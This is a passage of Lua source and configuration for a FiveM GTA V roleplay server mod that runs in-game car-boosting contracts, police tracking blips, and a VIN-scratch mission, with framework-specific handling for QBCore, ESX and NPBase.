671 | if (Config['Utils']["Contracts"]["DisableTrackingOnDCB"]) and (Class == "D" or Class == "C" or Class == "B") then
672 | CallingCops = false
673 | else
674 | --TriggerEvent("bropixel-boosting:SendNotify" , {plate = Contracts[startedcontractid].plate})
675 | local primary, secondary = GetVehicleColours(veh)
676 | primary = colorNames[tostring(primary)]
677 | secondary = colorNames[tostring(secondary)]
678 | local hash = GetEntityModel(Vehicle)
679 | local modelName = GetLabelText(GetDisplayNameFromVehicleModel(hash))
680 | if not NotifySent then
681 | TriggerServerEvent("bropixel-boosting:CallCopsNotify" , Contracts[startedcontractid].plate , modelName, primary..', '..secondary , getStreetandZone(GetEntityCoords(PlayerPed)))
682 | CallingCops = true
683 | NotifySent = true
684 | end
685 | end
686 | CreateDropPoint()
687 | DeleteCircle()
688 | end
689 | end
690 | end
691 | end
692 | end
693 | end
694 | end)
695 |
696 | Citizen.CreateThread(function()
697 | while true do
698 | Wait(0)
699 | while vinstarted == true do
700 | Wait(1000)
701 | local veh = GetVehiclePedIsIn(GetPlayerPed(PlayerId()) , false)
702 | if(veh ~= 0) then
703 | local PlayerPed = PlayerPedId()
704 | if(GetVehicleNumberPlateText(veh) == Contracts[startedcontractid].plate) then
705 | local PedVehicle = GetVehiclePedIsIn(PlayerPed)
706 | local Driver = GetPedInVehicleSeat(PedVehicle, -1)
707 | if Driver == PlayerPed then
708 | local Class = Contracts[startedcontractid].type
709 | if (Config['Utils']["Contracts"]["DisableTrackingOnDCB"]) and (Class == "D" or Class == "C" or Class == "B") then
710 | CallingCops = false
711 | else
712 | local primary, secondary = GetVehicleColours(veh)
713 | primary = colorNames[tostring(primary)]
714 | secondary = colorNames[tostring(secondary)]
715 | local hash = GetEntityModel(Vehicle)
716 | local modelName = GetLabelText(GetDisplayNameFromVehicleModel(hash))
717 | if not NotifySent then
718 | TriggerServerEvent("bropixel-boosting:CallCopsNotify" , Contracts[startedcontractid].plate , modelName, primary..', '..secondary , getStreetandZone(GetEntityCoords(PlayerPed)))
719 | CallingCops = true
720 | NotifySent = true
721 | end
722 | end
723 | DeleteCircle()
724 | end
725 | end
726 | end
727 | end
728 | end
729 | end)
730 |
731 |
732 |
733 | Citizen.CreateThread(function()
734 | while true do
735 | Citizen.Wait(Config['Utils']["Contracts"]["TimeBetweenContracts"])
736 | local shit = math.random(1,10)
737 | local DVTen = Config['Utils']["Contracts"]["ContractChance"] / 10
738 | if(shit <= DVTen) then
739 | if Config['Utils']["VIN"]["ForceVin"] then
740 | TriggerEvent('bropixel-boosting:CreateContract', true)
741 | else
742 | TriggerEvent("bropixel-boosting:CreateContract")
743 | end
744 | end
745 | end
746 | end)
747 |
748 |
749 | Citizen.CreateThread(function()
750 | while true do
751 | if OnTheDropoffWay then
752 | Citizen.Wait(1000)
753 | local coordA = GetEntityCoords(PlayerPedId())
754 | local veh = GetVehiclePedIsIn(GetPlayerPed(PlayerId()) , false)
755 | if(veh ~= 0) then
756 | local PlayerPed = PlayerPedId()
757 | if(GetVehicleNumberPlateText(veh) == Contracts[startedcontractid].plate) then
758 | local PedVehicle = GetVehiclePedIsIn(PlayerPed)
759 | local aDist = GetDistanceBetweenCoords(Config.BoostingDropOff[rnd]["x"],Config.BoostingDropOff[rnd]["y"],Config.BoostingDropOff[rnd]["z"], coordA["x"],coordA["y"],coordA["z"])
760 | if aDist < 10.0 then
761 | CallingCops = false
762 | CompletedTask = true
763 | Citizen.Wait(300)
764 | DeleteBlip()
765 | if OnTheDropoffWay then
766 | TriggerEvent('bropixel-boosting:ContractDone')
767 | end
768 | OnTheDropoffWay = false
769 | DisablerTimes = 0
770 | end
771 | end
772 | end
773 | else
774 | Wait(5000)
775 | end
776 | end
777 | end)
778 |
779 | AddEventHandler('onResourceStart', function(resource)
780 | if resource == GetCurrentResourceName() then
781 | Wait(100)
782 | TriggerServerEvent('SHIT:SHIT')
783 | end
784 | end)
785 |
786 | RegisterNetEvent("bropixel-boosting:ContractDone")
787 | AddEventHandler("bropixel-boosting:ContractDone" , function()
788 | if CompletedTask then
789 | if Config['General']["Core"] == "QBCORE" then
790 | CoreName.Functions.Notify(Config['Utils']["Notifications"]["DropOffMsg"], "success", 3500)
791 | elseif Config['General']["Core"] == "ESX" then
792 | ShowNotification(Config['Utils']["Notifications"]["DropOffMsg"],'success')
793 | elseif Config['General']["Core"] == "NPBASE" then
794 | TriggerEvent("DoLongHudText",Config['Utils']["Notifications"]["DropOffMsg"])
795 | end
796 | TriggerServerEvent("bropixel-boosting:removeblip")
797 | Citizen.Wait(math.random(25000,35000))
798 | TriggerServerEvent('bropixel-boosting:finished')
799 | local niceprice = VehiclePrice * Config['General']["BNErewardmultiplier"]
800 | BNEBoosting['functions'].AddBne(niceprice)
801 | print(nice)
802 | table.remove(Contracts , startedcontractid)
803 | started = false
804 | SetEntityAsMissionEntity(Vehicle,true,true)
805 | DeleteEntity(Vehicle)
806 | CompletedTask = false
807 | DropblipCreated = false
808 | CallingCops = false
809 | NotifySent= false
810 | end
811 | end)
812 |
813 |
814 | --- HAS ITEM CHECK
815 |
816 | function HasItem(item)
817 | local hasitem = false
818 | if Config['General']["Core"] == "QBCORE" then
819 | CoreName.Functions.TriggerCallback(Config['CoreSettings']['QBCORE']["HasItem"], function(result)
820 | hasitem = result
821 | end, item)
822 | Citizen.Wait(500)
823 | return hasitem
824 | elseif Config['General']["Core"] == "ESX" then
825 | ESX.TriggerServerCallback('bropixel-boosting:canPickUp', function(result)
826 | hasitem = result
827 | end , item)
828 | Citizen.Wait(500)
829 | return hasitem
830 | elseif Config['General']["Core"] == "NPBASE" then
831 | hasitem = exports[Config['CoreSettings']['NPBASE']["HasItem"]]:hasEnoughOfItem(item, 1, false, true)
832 | Citizen.Wait(500)
833 | return hasitem
834 | end
835 | end
836 |
837 | ---------------- Cop Blip Thingy ------------------
838 |
839 | local copblip
840 |
841 |
842 | Citizen.CreateThread(function()
843 | while true do
844 | if CallingCops then
845 | Citizen.Wait(Config['Utils']["Blips"]["BlipUpdateTime"])
846 | local coords = GetEntityCoords(PlayerPedId())
847 | if CallingCops then
848 | TriggerServerEvent('bropixel-boosting:alertcops', coords.x, coords.y, coords.z)
849 | end
850 | else
851 | Wait(500)
852 | end
853 | end
854 | end)
855 |
856 |
857 | RegisterNetEvent('bropixel-boosting:SendNotify')
858 | AddEventHandler('bropixel-boosting:SendNotify' , function(data)
859 | if Config['General']["PoliceNeedLaptopToseeNotifications"] then
860 | if(HasItem('pixellaptop') == true) then
861 | SendNUIMessage({addNotify = 'true' , plate = data.plate , model = data.model , color = data.color , place = data.place , length = Config['Utils']['Laptop']['CopNotifyLength']})
862 | end
863 | else
864 | SendNUIMessage({addNotify = 'true' , plate = data.plate , model = data.model , color = data.color , place = data.place , length = Config['Utils']['Laptop']['CopNotifyLength']})
865 | end
866 | end)
867 |
868 | RegisterNetEvent('bropixel-boosting:removecopblip')
869 | AddEventHandler('bropixel-boosting:removecopblip', function()
870 | DeleteCopBlip()
871 | end)
872 |
873 | RegisterNetEvent('bropixel-boosting:setcopblip')
874 | AddEventHandler('bropixel-boosting:setcopblip', function(cx,cy,cz)
875 | if Config['General']["PoliceNeedLaptopToseeNotifications"] then
876 | if(HasItem('pixellaptop') == true) then
877 | CreateCopBlip(cx,cy,cz)
878 | end
879 | else
880 | CreateCopBlip(cx,cy,cz)
881 | end
882 | end)
883 |
884 | RegisterNetEvent('bropixel-boosting:setBlipTime')
885 | AddEventHandler('bropixel-boosting:setBlipTime', function()
886 | Config['Utils']["Blips"]["BlipUpdateTime"] = 7000
887 | end)
888 |
889 |
890 |
891 |
892 | RegisterNetEvent("bropixel-boosting:authorized:sendUI")
893 | AddEventHandler("bropixel-boosting:authorized:sendUI" , function(ui)
894 | -- print(NUIPAGE)
895 | -- if(NUIPAGE == nil) then
896 | -- print('wa')
897 | -- NUIPAGE = ui
898 | -- end
899 | -- SendNUIMessage({type = 'ui' , auth = NUIPAGE})
900 | NuiLoaded = true
901 | end)
902 |
903 |
904 |
905 | --------- EMIAL ---------------
906 | function CreateListEmail()
907 | TriggerServerEvent(Config['General']["EmailEvent"], {
908 | sender = Contracts[startedcontractid].owner,
909 | subject = "Boosting details",
910 | message = "Yo buddy , this is the vehicle details.
Vehicle Model: "..GetDisplayNameFromVehicleModel(Contracts[startedcontractid].vehicle).."
Vehicle Class :"..Contracts[startedcontractid].type.."
Vehicle Plate :"..Contracts[startedcontractid].plate.."
",
911 | button = {}
912 | })
913 | end
914 |
915 | function CreateListEmailNPBASE()
916 | TriggerEvent(Config['General']["EmailEvent"], 'EMAIL', "Yo buddy , this is the vehicle details.
Vehicle Model: "..GetDisplayNameFromVehicleModel(Contracts[startedcontractid].vehicle).."
Vehicle Class :"..Contracts[startedcontractid].type.."
Vehicle Plate :"..Contracts[startedcontractid].plate.."
")
917 | end
918 |
919 | function RevievedOfferEmailNPBASE(owner, class)
920 | TriggerEvent(Config['General']["EmailEvent"], 'EMAIL', "You have recieved a "..class.. " Boosting...
")
921 | end
922 |
923 |
924 | function RevievedOfferEmail(owner, class)
925 | TriggerServerEvent(Config['General']["EmailEvent"], {
926 | sender = owner,
927 | subject = "Contract Offer",
928 | message = "You have recieved a "..class.. " Boosting...
",
929 | button = {}
930 | })
931 | end
932 | -------------------------------
933 |
934 |
935 | ---------- COMMAND --------------
936 | Citizen.CreateThread(function()
937 | if Config['Utils']["Commands"]["boosting_test"] ~= 'nil' then
938 | RegisterCommand(Config['Utils']["Commands"]["boosting_test"], function()
939 | if Config['Utils']["VIN"]["ForceVin"] then
940 | TriggerEvent('bropixel-boosting:CreateContract', true)
941 | else
942 | TriggerEvent("bropixel-boosting:CreateContract")
943 | end
944 | end)
945 | end
946 |
947 | end)
948 |
949 | Citizen.CreateThread(function()
950 | if Config['Utils']["Commands"]["force_close_nui"] ~= 'nil' then
951 | RegisterCommand(Config['Utils']["Commands"]["force_close_nui"], function()
952 | SetNuiFocus(false ,false)
953 | end)
954 | end
955 | end)
956 | -------------------------------
957 |
958 |
959 |
960 | Citizen.CreateThread(function()
961 | if Config['Utils']["Commands"]["get_vehicle_class"] ~= 'nil' then
962 | RegisterCommand(Config['Utils']["Commands"]["get_vehicle_class"], function()
963 | local veh = GetVehiclePedIsIn(PlayerPedId())
964 | local fInitialDriveMaxFlatVel = getField("fInitialDriveMaxFlatVel" , veh)
965 | local fInitialDriveForce = getField("fInitialDriveForce" , veh)
966 | local fDriveBiasFront = getField("fDriveBiasFront" ,veh )
967 | local fInitialDragCoeff = getField("fInitialDragCoeff" , veh)
968 | local fTractionCurveMax = getField("fTractionCurveMax" , veh)
969 | local fTractionCurveMin = getField("fTractionCurveMin" , veh )
970 | local fSuspensionReboundDamp = getField("fSuspensionReboundDamp" , veh )
971 | local fBrakeForce = getField("fBrakeForce" ,veh )
972 | local force = fInitialDriveForce
973 | local handling = (fTractionCurveMax + fSuspensionReboundDamp) * fTractionCurveMin
974 | local braking = ((fTractionCurveMin / fInitialDragCoeff) * fBrakeForce) * 7
975 | local accel = (fInitialDriveMaxFlatVel * force) / 10
976 | local speed = ((fInitialDriveMaxFlatVel / fInitialDragCoeff) * (fTractionCurveMax + fTractionCurveMin)) / 40
977 | local perfRating = ((accel * 5) + speed + handling + braking) * 15
978 | local vehClass = "F"
979 | if isMotorCycle then
980 | vehClass = "M"
981 | elseif perfRating > 900 then
982 | vehClass = "X"
983 | elseif perfRating > 700 then
984 | vehClass = "S"
985 | elseif perfRating > 550 then
986 | vehClass = "A"
987 | elseif perfRating > 400 then
988 | vehClass = "B"
989 | elseif perfRating > 325 then
990 | vehClass = "C"
991 | else
992 | vehClass = "D"
993 | end
994 | print(vehClass)
995 | end)
996 | end
997 | end)
998 |
999 |
1000 | ---------------------- VIN SCRATCH ------------------------
1001 |
1002 |
1003 |
1004 | local ScratchAnimDict = "mp_car_bomb"
1005 | local ScratchAnim = "car_bomb_mechanic"
1006 |
1007 | local function AddVehicleToGarage()
1008 | local EntityModel = GetEntityModel(Vehicle)
1009 | local DiplayName = GetDisplayNameFromVehicleModel(EntityModel)
1010 | if Config['General']["Core"] == "QBCORE" then
1011 | CoreName.Functions.Notify("Vin scratch complete!", "success", 3500)
1012 | TriggerServerEvent('bropixel-boosting:AddVehicle',string.lower(DiplayName) ,Contracts[startedcontractid].plate)
1013 | elseif Config['General']["Core"] == "ESX" then
1014 | ShowNotification("Vin scratch complete!",'success')
1015 | local vehicleProps = ESX.Game.GetVehicleProperties(Vehicle)
1016 | TriggerServerEvent('bropixel-boosting:AddVehicle',string.lower(DiplayName) ,Contracts[startedcontractid].plate,vehicleProps)
1017 | elseif Config['General']["Core"] == "NPBASE" then
1018 | TriggerEvent("DoLongHudText","Vin scratch complete!")
1019 | TriggerServerEvent('bropixel-boosting:AddVehicle',string.lower(DiplayName) ,Contracts[startedcontractid].plate)
1020 | end
1021 | vinstarted = false
1022 | CanScratchVehicle = false
1023 | table.remove(Contracts , startedcontractid)
1024 |
1025 | end
1026 |
1027 | RegisterNetEvent("bropixel-boosting:client:UseComputer")
1028 | AddEventHandler("bropixel-boosting:client:UseComputer" , function()
1029 | if Config['General']["Core"] == "QBCORE" then
1030 | if CanUseComputer then
1031 | CoreName.Functions.Progressbar("boosting_scratch", "Connection to network...", 5000, false, true, {
1032 | disableMovement = true,
1033 | disableCarMovement = true,
1034 | disableMouse = false,
1035 | disableCombat = true,
1036 | }, {
1037 | animDict = ScratchAnimDict,
1038 | anim = ScratchAnim,
1039 | flags = 16,
1040 | }, {}, {}, function() -- Done
1041 | TriggerEvent('bropixel-boosting:client:2ndUseComputer')
1042 | end, function() -- Cancel
1043 | StopAnimTask(PlayerPedId(), ScratchAnimDict, "exit", 1.0)
1044 | CoreName.Functions.Notify("Failed!", "error", 3500)
1045 | end)
1046 | else
1047 | CoreName.Functions.Notify("Can't use this now!", "error", 3500)
1048 | end
1049 | elseif Config['General']["Core"] == "ESX" then
1050 | if CanUseComputer then
1051 | LoadDict(ScratchAnimDict)
1052 | FreezeEntityPosition(PlayerPedId(),true)
1053 | TaskPlayAnim(PlayerPedId(), ScratchAnimDict, ScratchAnim, 3.0, -8, -1, 63, 0, 0, 0, 0 )
1054 | local finished = exports[Config['CoreSettings']["ESX"]["ProgressBarScriptName"]]:taskBar(5000, 'Connection to network...')
1055 | if (finished == 100) then
1056 | CanScratchVehicle = true
1057 | ShowNotification(Config['Utils']["Notifications"]["FinishComputer"],'success')
1058 | CanUseComputer = false
1059 | FreezeEntityPosition(PlayerPedId(),false)
1060 | ClearPedTasks(PlayerPedId())
1061 | end
1062 | else
1063 | ShowNotification("Can't use this now",'error')
1064 | end
1065 | elseif Config['General']["Core"] == "NPBASE" then
1066 | if CanUseComputer then
1067 | LoadDict(ScratchAnimDict)
1068 | FreezeEntityPosition(PlayerPedId(),true)
1069 | TaskPlayAnim(PlayerPedId(), ScratchAnimDict, ScratchAnim, 3.0, -8, -1, 63, 0, 0, 0, 0 )
1070 | local finished = exports[Config['CoreSettings']["NPBASE"]["ProgressBarScriptName"]]:taskBar(5000, 'Connection to network...')
1071 | if (finished == 100) then
1072 | TriggerEvent('bropixel-boosting:client:2ndUseComputer')
1073 | end
1074 | else
1075 | TriggerEvent("DoLongHudText","Can't use this now!",2)
1076 | end
1077 | end
1078 | end)
1079 |
1080 | RegisterNetEvent("bropixel-boosting:client:2ndUseComputer")
1081 | AddEventHandler("bropixel-boosting:client:2ndUseComputer" , function()
1082 | if Config['General']["Core"] == "QBCORE" then
1083 | CoreName.Functions.Progressbar("boosting_scratch", "Wiping online paperwork...", 5000, false, true, {
1084 | disableMovement = true,
1085 | disableCarMovement = true,
1086 | disableMouse = false,
1087 | disableCombat = true,
1088 | }, {
1089 | animDict = ScratchAnimDict,
1090 | anim = ScratchAnim,
1091 | flags = 16,
1092 | }, {}, {}, function() -- Done
1093 | CanScratchVehicle = true
1094 | CoreName.Functions.Notify(Config['Utils']["Notifications"]["FinishComputer"], "success" , 3500)
1095 | CanUseComputer = false
1096 | end, function() -- Cancel
1097 | StopAnimTask(PlayerPedId(), ScratchAnimDict, "exit", 1.0)
1098 | CoreName.Functions.Notify("Failed!", "error", 3500)
1099 | end)
1100 | elseif Config['General']["Core"] == "NPBASE" then
1101 | LoadDict(ScratchAnimDict)
1102 | FreezeEntityPosition(PlayerPedId(),true)
1103 | TaskPlayAnim(PlayerPedId(), ScratchAnimDict, ScratchAnim, 3.0, -8, -1, 63, 0, 0, 0, 0 )
1104 | local finished = exports[Config['CoreSettings']["NPBASE"]["ProgressBarScriptName"]]:taskBar(5000, 'Wiping online paperwork...')
1105 | if (finished == 100) then
1106 | CanScratchVehicle = true
1107 | TriggerEvent("DoLongHudText",Config['Utils']["Notifications"]["FinishComputer"])
1108 | CanUseComputer = false
1109 | FreezeEntityPosition(PlayerPedId(),false)
1110 | ClearPedTasks(PlayerPedId())
1111 | end
1112 | end
1113 | end)
1114 |
1115 | RegisterNetEvent("bropixel-boosting:client:ScratchVehicle")
1116 | AddEventHandler("bropixel-boosting:client:ScratchVehicle" , function()
1117 | if Config['General']["Core"] == "QBCORE" then
1118 | CoreName.Functions.Progressbar("boosting_scratch", "Scratching Vin", 10000, false, true, {
1119 | disableMovement = true,
1120 | disableCarMovement = true,
1121 | disableMouse = false,
1122 | disableCombat = true,
1123 | }, {
1124 | animDict = ScratchAnimDict,
1125 | anim = ScratchAnim,
1126 | flags = 16,
1127 | }, {}, {}, function() -- Done
1128 | StopAnimTask(PlayerPedId(), ScratchAnimDict, "exit", 1.0)
1129 | AddVehicleToGarage()
1130 | CoreName.Functions.Notify(Config['Utils']["Notifications"]["VehicleAdded"], "success", 3500)
1131 | DeleteBlip()
1132 | CallingCops = false
1133 | end, function() -- Cancel
1134 | StopAnimTask(PlayerPedId(), ScratchAnimDict, "exit", 1.0)
1135 | CoreName.Functions.Notify("Failed!", "error", 3500)
1136 | end)
1137 | elseif Config['General']["Core"] == "ESX" then
1138 | LoadDict(ScratchAnimDict)
1139 | FreezeEntityPosition(PlayerPedId(),true)
1140 | TaskPlayAnim(PlayerPedId(), ScratchAnimDict, ScratchAnim, 3.0, -8, -1, 63, 0, 0, 0, 0 )
1141 | local finished = exports[Config['CoreSettings']["ESX"]["ProgressBarScriptName"]]:taskBar(10000, 'Scratching Vin')
1142 | if (finished == 100) then
1143 | AddVehicleToGarage()
1144 | ShowNotification(Config['Utils']["Notifications"]["VehicleAdded"],'success')
1145 | CallingCops = false
1146 | DeleteBlip()
1147 | FreezeEntityPosition(PlayerPedId(),false)
1148 | end
1149 | elseif Config['General']["Core"] == "NPBASE" then
1150 | LoadDict(ScratchAnimDict)
1151 | FreezeEntityPosition(PlayerPedId(),true)
1152 | TaskPlayAnim(PlayerPedId(), ScratchAnimDict, ScratchAnim, 3.0, -8, -1, 63, 0, 0, 0, 0 )
1153 | local finished = exports[Config['CoreSettings']["NPBASE"]["ProgressBarScriptName"]]:taskBar(10000, 'Scratching Vin')
1154 | if (finished == 100) then
1155 | AddVehicleToGarage()
1156 | TriggerEvent("DoLongHudText",Config['Utils']["Notifications"]["VehicleAdded"])
1157 | CallingCops = false
1158 | DeleteBlip()
1159 | end
1160 | end
1161 | NotifySent = false
1162 | end)
1163 |
1164 | Citizen.CreateThread(function()
1165 | while true do
1166 | if CanScratchVehicle then
1167 | Citizen.Wait(1000)
1168 | local playerped = PlayerPedId()
1169 | local coordA = GetEntityCoords(playerped, 1)
1170 | local coordB = GetOffsetFromEntityInWorldCoords(playerped, 0.0, 100.0, 0.0)
1171 | local targetVehicle = getVehicleInDirection(coordA, coordB)
1172 | if targetVehicle ~= 0 then
1173 | local d1,d2 = GetModelDimensions(GetEntityModel(targetVehicle))
1174 | local moveto = GetOffsetFromEntityInWorldCoords(targetVehicle, 0.0,d2["y"]+0.5,0.2)
1175 | local dist = #(vector3(moveto["x"],moveto["y"],moveto["z"]) - GetEntityCoords(PlayerPedId()))
1176 | local count = 1000
1177 | if(GetVehicleNumberPlateText(veh) == Contracts[startedcontractid].plate) then
1178 | while dist > 2.5 and count > 0 do
1179 | dist = #(vector3(moveto["x"],moveto["y"],moveto["z"]) - GetEntityCoords(PlayerPedId()))
1180 | Citizen.Wait(1)
1181 | count = count - 1
1182 | end
1183 | end
1184 | if dist < 2.5 then
1185 | TriggerEvent('bropixel-boosting:client:ScratchVehicle')
1186 | CanScratchVehicle = false
1187 | break
1188 | end
1189 | end
1190 | else
1191 | Wait(5000)
1192 | end
1193 | end
1194 | end)
1195 |
1196 | Keys = { ['E'] = 38 }
1197 |
1198 | function MainThread()
1199 | while true do
1200 | if CanUseComputer then
1201 | Citizen.Wait(1)
1202 | local pos = GetEntityCoords(PlayerPedId())
1203 | if (#(pos - vector3(Config['Utils']["VIN"]["VinLocations"].x, Config['Utils']["VIN"]["VinLocations"].y, Config['Utils']["VIN"]["VinLocations"].z)) < 10.0) then
1204 | DrawMarker(2, Config['Utils']["VIN"]["VinLocations"].x, Config['Utils']["VIN"]["VinLocations"].y, Config['Utils']["VIN"]["VinLocations"].z, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.3, 0.2, 0.15, 200, 200, 200, 222, false, false, false, true, false, false, false)
1205 | MainThreadStarted = true
1206 | if (#(pos - vector3(Config['Utils']["VIN"]["VinLocations"].x, Config['Utils']["VIN"]["VinLocations"].y, Config['Utils']["VIN"]["VinLocations"].z)) < 1.5) then
1207 | if Config['General']["Core"] == "QBCORE" then
1208 | CoreName.Functions.DrawText3D(Config['Utils']["VIN"]["VinLocations"].x, Config['Utils']["VIN"]["VinLocations"].y, Config['Utils']["VIN"]["VinLocations"].z, "~g~E~w~ - Use Computer")
1209 | elseif Config['General']["Core"] == "ESX" then
1210 | local coordsoftext = vector3(Config['Utils']["VIN"]["VinLocations"].x, Config['Utils']["VIN"]["VinLocations"].y, Config['Utils']["VIN"]["VinLocations"].z)
1211 | ESX.Game.Utils.DrawText3D(coordsoftext, "~g~E~w~ - Use Computer")
1212 | elseif Config['General']["Core"] == "NPBASE" then
1213 | DrawText3D2(Config['Utils']["VIN"]["VinLocations"].x, Config['Utils']["VIN"]["VinLocations"].y, Config['Utils']["VIN"]["VinLocations"].z, "~g~E~w~ - Use Computer")
1214 | end
1215 | if IsControlJustReleased(0, Keys["E"]) then
1216 | TriggerEvent('bropixel-boosting:client:UseComputer')
1217 | return
1218 | end
1219 | end
1220 | end
1221 | else
1222 | Wait(5000)
1223 | end
1224 | end
1225 | end
1226 |
1227 | function getVehicleInDirection(coordFrom, coordTo)
1228 | local offset = 0
1229 | local rayHandle
1230 | local vehicle
1231 |
1232 | for i = 0, 100 do
1233 | rayHandle = CastRayPointToPoint(coordFrom.x, coordFrom.y, coordFrom.z, coordTo.x, coordTo.y, coordTo.z + offset, 10, PlayerPedId(), 0)
1234 | a, b, c, d, vehicle = GetRaycastResult(rayHandle)
1235 |
1236 | offset = offset - 1
1237 |
1238 | if vehicle ~= 0 then break end
1239 | end
1240 |
1241 | local distance = Vdist2(coordFrom, GetEntityCoords(vehicle))
1242 |
1243 | if distance > 25 then vehicle = nil end
1244 |
1245 | return vehicle ~= nil and vehicle or 0
1246 | end
1247 |
1248 |
1249 |
1250 |
1251 |
1252 | RegisterNetEvent('XZCore:Client:OnPlayerLoaded')
1253 | AddEventHandler('XZCore:Client:OnPlayerLoaded', function()
1254 | CoreName.Functions.TriggerCallback('bropixel-boosting:server:checkVin' , function(res)
1255 | if(res == true) then
1256 | TriggerEvent('bropixel-boosting:CreateContract' , true)
1257 | else
1258 | return
1259 | end
1260 | end)
1261 | end)
--------------------------------------------------------------------------------
/boosting/config.lua:
--------------------------------------------------------------------------------
1 | Config = {}
2 |
3 | Config['General'] = {
4 | ["License"] = "lol", --- your license here
5 | ["Core"] = "QBCORE", -- This can be ESX , QBCORE , NPBASE
6 | ["SQLWrapper"] = "oxmysql", -- This can be `| oxmysql or ghmattimysql or mysql-async
7 | ["EmailEvent"] = "qb-phone:server:sendNewMail",
8 | ["PoliceJobName"] = "police", -- police job name
9 | ["MinPolice"] = 0,
10 | ["UseNotificationsInsteadOfEmails"] = true, -- this is most likely for esx users , cuz they use bunsh of difirent phones , leave as false if you use qbus or np bases
11 | ["PoliceNeedLaptopToseeNotifications"] = false,
12 | ["BNErewardmultiplier"] = math.random(12, 15) / 10,
13 | }
14 |
15 |
16 |
17 |
18 | Config['CoreSettings'] = {
19 | ["ESX"] = {
20 | ["Trigger"] = "esx:getSharedObject",
21 | ["ProgressBarScriptName"] = "unwind-taskbar", -- progress bar script name link in esx_readme.md
22 | },
23 | ["QBCORE"] = {
24 | ["Version"] = "new", -- new = using export | old = using events
25 | ["Export"] = exports['qb-core']:GetCoreObject(), -- uncomment this if using new qbcore version
26 | ["Trigger"] = "QBCore:GetObject",
27 | ["HasItem"] = "QBCore:HasItem", -- Imporant [ Your trigger for checking has item, default is CORENAME:HasItem ]
28 |
29 | },
30 | ["NPBASE"] = {
31 | ["Name"] = "unwind-fw", -- this will be used in server side to call player module
32 | ["ProgressBarScriptName"] = "unwind-taskbar", -- progress bar script name link in np_readme.md
33 | ["HasItem"] = "unwind-inventory", -- Imporant [ Your normal export for checking has item, default is yourservername:inventory ]
34 | ["HandlerScriptName"] = "unwind_handler",
35 | }
36 | }
37 |
38 |
39 | Config['Utils'] = {
40 | ["Rewards"] = {
41 | ["Type"] = "money", -- reward type item or money
42 | ["RewardItemName"] = "markedbills", -- this will be the reward item name (no need to config if you are using an money as a reward)
43 | ["RewardMoneyAmount"] = "0", -- this will be the amount the player recieves when he finish the mission (no need to config if you are using an item as a reward)
44 | ["RewardAccount"] = "cash", -- this can be only ywo values (no need to config if you are using an item as a reward)
45 | },
46 | ["Contracts"] = {
47 | ["TimeBetweenContracts"] = 600000, -- Time in (ms) between contract creations
48 | ["ContractChance"] = 60, -- This is the luck percentage of getting a contract
49 | },
50 | ["VIN"] = {
51 | ["BNEPrice"] = 350, -- Price (BNE) for start a vin scratch
52 | ["AmountBneAfterDropOff"] = 50,
53 | ["VinLocations"] = {x = 472.08, y = -1310.73, z = 29.22}, -- laptop coords
54 | ["ForceVin"] = true, -- this will force vin contract optiion on any created contract turn to false to use days instead
55 | ["VinDays"] = 7, -- amount of days between vin contracts , (irl days)
56 | },
57 | ["ClassPrices"] = {
58 | ['X'] = "35",
59 | ['A'] = "30",
60 | ['B'] = "25",
61 | ['C'] = "20",
62 | ['D'] = "15",
63 | ['M'] = "10",
64 | },
65 | ["Blips"] = {
66 | ["BlipUpdateTime"] = 3000, -- Time in (ms) of the police blip update 1000 = 1 second
67 | ["DisableTrackingOnDCB"] = false, -- This will disable the police tracking on D , C , B vehicle classes (Turn to false to disable this option)
68 | },
69 | ["Notifications"] = {
70 | ["NotEnoughBNE"] = "Not enough BNE",
71 | ["NoTrackerOnThisVehicle"] = "Seems like this vehicle doesn't have a tracker on",
72 | ["TrackerRemoved"] = "Tracker removed",
73 | ["TrackerRemovedVINMission"] = "Tracker removed, head to the scratch location",
74 | ["TrackerRemoved"] = "Tracker removed",
75 | ["FinishComputer"] = "Head to the vehicle and scratch off the vin!",
76 | ["VehicleAdded"] = "Vehicle added to your garage!",
77 | ["DropOffMsg"] = "Get out of the car and leave the area , you will get your money soon",
78 | ["UiStillLoadingMsg"] = "Please wait 3 senconds the nui is loading",
79 | ["SuccessHack"] = "Success" ,
80 | ["NoMissionDetected"] = "No ongoing mission detected",
81 | },
82 | ["Commands"] = {
83 | ["boosting_test"] = "boostingtest", -- This Command will send you a test contract for testing purposes leave as nil to disable
84 | ["force_close_nui"] = "boostingclose", -- This Command will close the nui if it glitches leave as nil to disable
85 | ["get_vehicle_class"] = "boostingclass", -- This Command will print (F8) the vehicle class of the one ur sitting in
86 | },
87 | ["Laptop"] = {
88 | ["LogoUrl"] = "https://upload.wikimedia.org/wikipedia/commons/thumb/5/5f/Windows_logo_-_2012.svg/1200px-Windows_logo_-_2012.svg.png",
89 | ["DefaultBackground"] = "https://wallpaperdb.net/full/dwd-1367.jpg",
90 | ["CopNotifyLength"] = 5000, -- Time in (ms) of the police Notify length
91 | },
92 | }
93 |
94 |
95 |
96 |
97 |
98 | -------------- SERVER FUNCTIONS --------------
99 | AddVehicle = function(data)
100 | if Config['General']["Core"] == "QBCORE" then
101 | SQL('INSERT INTO player_vehicles (steam, citizenid, vehicle, hash, mods, plate, state) VALUES (?, ?, ?, ?, ?, ?, ?)',{data.steam, data.cid, data.vehicle, data.hash, data.vehicleMods, data.vehicleplate, data.vehiclestate})
102 | elseif Config['General']["Core"] == "ESX" then
103 | SQL('INSERT INTO owned_vehicles (owner, plate, vehicle) VALUES (?, ?, ?)',{data.steam, data.vehicleplate, data.vehicle})
104 | elseif Config['General']["Core"] == "NPBASE" then
105 | local v = {
106 | ["owner"] = data.steam,
107 | ["cid"] = data.cid,
108 | ['name'] = data.vehicle,
109 | ["model"] = data.vehicle,
110 | ["vehicle_state"] = "Out",
111 | ["fuel"] = 100,
112 | ["engine_damage"] = 1000,
113 | ["body_damage"] = 1000,
114 | ["current_garage"] = "T",
115 | ["license_plate"] = data.vehicleplate
116 | }
117 | local k = [[INSERT INTO characters_cars (owner, cid, name, model, vehicle_state, fuel, engine_damage, body_damage, current_garage, license_plate) VALUES(@owner, @cid, @name, @model, @vehicle_state, @fuel, @engine_damage, @body_damage, @current_garage, @license_plate);]]
118 | SQL(k, v)
119 | end
120 | end
121 |
122 | AddBNE = function(cid, pBne, amount)
123 | SQL('UPDATE bropixel_boosting SET BNE=@bne WHERE citizenid=@citizenid', {['@citizenid'] = cid , ['@bne'] = pBne + amount})
124 | end
125 |
126 | RemoveBNE = function(cid, pBne, amount)
